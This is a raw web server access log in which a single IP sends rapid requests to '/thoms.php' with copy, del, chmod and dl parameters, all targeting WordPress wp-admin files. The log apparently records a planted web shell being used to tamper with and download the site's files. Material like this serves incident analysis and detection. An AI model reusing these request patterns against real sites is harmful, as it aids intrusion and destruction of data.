45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fuser&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?del=ms-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22273 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fedit-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?chmod=press-this.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=press-this.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=ms-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=press-this.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?dl=site-health-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=site-health-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=site-health-info.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?chmod=theme-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=theme-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fusers.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fusers.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=theme-editor.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?dl=users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fusers.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22207 "https://163.245.207.76:443/thoms.php?dl=users.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?del=about.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=about.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=about.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=import.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=import.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?chmod=link.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=link.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=import.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?chmod=media-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=media-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=link.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?dl=options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22178 "https://163.245.207.76:443/thoms.php?chmod=media-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?chmod=load-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=load-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/ms-options.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?del=plugins.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=plugins.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=load-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=plugins.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?del=options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fnetwork&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fnetwork&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fnetwork&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=media-upload.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=media-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=media-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-users.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?dl=options-privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=options-privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/post-new.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=options-privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fsetup-config.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fsetup-config.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22183 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fsetup-config.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?chmod=about.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=about.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=freedoms.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=freedoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=load-scripts.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=load-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=about.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=freedoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/moderation.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=load-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=site-health.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=site-health.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?del=theme-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=theme-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fthemes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fthemes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=site-health.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?chmod=user-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=user-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22242 "https://163.245.207.76:443/thoms.php?del=theme-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22251 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fthemes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=user-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:12 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/profile.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Flink-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Flink-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Flink-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?dl=plugin-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=plugin-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=themes.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-sites.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=plugin-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:13 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=tools.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=tools.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
